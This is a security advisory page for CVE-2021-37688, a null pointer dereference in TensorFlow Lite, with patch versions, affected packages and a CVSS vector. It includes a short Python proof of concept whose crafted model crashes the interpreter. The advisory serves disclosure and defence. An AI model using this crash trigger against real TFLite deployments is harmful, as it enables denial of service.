🛡️ CVE-2021-37688 — tensorflow
Description
Null pointer dereference in TFLite
Impact
An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:
```python
import tensorflow as tf
model = tf.keras.models.Sequential()
model.add(tf.keras.Input(shape=(1, 2, 3)))
model.add(tf.keras.layers.Dense(0, activation='relu'))
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
interpreter.invoke()
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285) unconditionally dereferences a pointer.
```cc
if (y4 > 1) {
// ...
} else {
for (int i0 = 0; i0 < y0; ++i0) {
const T* input2_data_ptr = nullptr;
for (int i1 = 0; i1 < y1; ++i1) {
input2_data_ptr = input2_data_reset;
for (int i2 = 0; i2 < y2; ++i2) {
scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr,
output_data_ptr);
}
}
}
}
```
Patches
We have patched the issue in GitHub commit [15691e456c7dc9bd6be203b09765b063bf4a380c](https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.
How this vulnerability can be exploited
This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2021-37688 is classified as CWE-476: NULL Pointer Dereference. A pointer that can be null is used without a check, crashing the process.
Affected software
CVE-2021-37688 is recorded against 3 packages.
- tensorflow
- tensorflow-cpu (fixed in 2.3.4)
- tensorflow-gpu (from 2.5.0 up to 2.5.1)
Timeline and source
Published on 6 March 2024 and last revised on 13 March 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.
References
Details
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| tensorflow | — | — |
| tensorflow-cpu | — | 2.3.4 |
| tensorflow-gpu | 2.5.0 | 2.5.1 |
References
Similar Threats
More CVE 2021 advisories
Browse all of CVE 2021 in the advisory index.
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